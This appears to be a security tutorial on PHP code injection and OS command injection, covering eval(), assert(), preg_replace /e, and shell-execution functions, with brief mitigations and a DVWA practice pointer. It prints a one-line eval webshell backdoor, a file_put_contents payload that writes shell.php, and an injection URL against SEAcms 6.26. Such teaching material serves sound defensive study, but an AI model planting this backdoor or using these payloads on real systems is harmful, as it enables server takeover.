PHP Code Injection

Root Cause

Inadequate input validation combined with the use of dangerous PHP functions like eval() and assert() allows attackers to inject arbitrary code. A successful exploit can lead to full control over the web application and potentially the underlying server, effectively creating a backdoor.

Dangerous Functions

eval()

eval() treats a string as PHP code and executes it.

<?php @eval($_POST['shell']);?>

This snippet accepts a POST paramter shell and executes its value as PHP. Attackers often use tools like AntSword or CKnife to connect through such backdoors. Example payloads include shell=phpinfo(); or shell=${phpinfo()};.

assert()

Behaves identically to eval() in this context.

preg_replace() with /e modifier

The /e modifier in the pattern causes the replacement string to be evaluated as PHP code.

preg_replace("//[(.*)\]/e", '\\1', $code);

Here, $code is executed if it matches the pattern.

call_user_func()

Calls a user-defined function with given parameters.

function barber($type) {
    echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom");
call_user_func('barber', "shave");

Output:

You wanted a mushroom haircut, no problem
You wanted a shave haircut, no problem

Dynamic Function Calls ($a($b))

A variable can hold a function name and be called dynamically.

$a = 'eval';
$a("phpinfo();");  // Equivalent to eval("phpinfo();");

Exploitation Techniques

• Direct backdoor: <?php @eval($_POST['shell']);?>
• Path disclosure: print(__FILE__) reveals the absolute path.
• File reading: file_get_contents() reads files like C:\windows\system32\drivers\etc\hosts.
• File writing: file_put_contents() writes arbitrary content. Submit file_put_contents($_POST[1], $_POST[2]) then provide 1=shell.php&2=<?php phpinfo();?>.

Automated tools handle these actions, so discovering the injection point is often sufficient.

Mitigation

Avoid using eval() and similar functions. Implement strict input validation. Disable dangerous functions via disable_functions in php.ini.

Example: SEAcms 6.26

A PHP code injection vulnerability exists. The injection point is triggered via:

?searchtype=5&tid=&area=phpinfo()

OS Command Injection

When web applications need to execute system commands or call external programs, improper input sanitization can lead to command injection. This allows attcakers to run arbitrary OS commands.

Impact

An attacker can execute any command that the web server user account can run, potentially leading to full system compromise.

Dangerous Functions

system()

system($cmd);

Executes the command and outputs the result directly.

exec()

exec($cmd, $output);
print_r($output);

Executes the command and returns the output via an array.

shell_exec()

echo shell_exec($cmd);

Executes the command via shell and returns the output as a string.

passthru()

passthru($cmd);

Executes the command and passes raw output to the browser.

popen()

$handle = popen("ipconfig > output.txt", "r");
pclose($handle);

Opens a pipe to a command. The output can be redirected to a file.

Backticks (`)

$result = `ipconfig`;
echo $result;

The string between backticks is executed as a shell command.

Exploitation

Attackers inject command separators to append additional commands.

Command Chaining Operators

• command1 && command2: Execute command2 only if command1 succeeds.
• command1 | command2: Pipe output of command1 to command2.
• command1 & command2: Run command1 in background, then command2.
• command1 || command2: Execute command2 only if command1 fails. These operators ( |, ||, &, && ) are common used to chain commands.

DVWA Example

DVWA (Damn Vulnerable Web Application) includes a Command Injection module for practicing these attacks across various levels.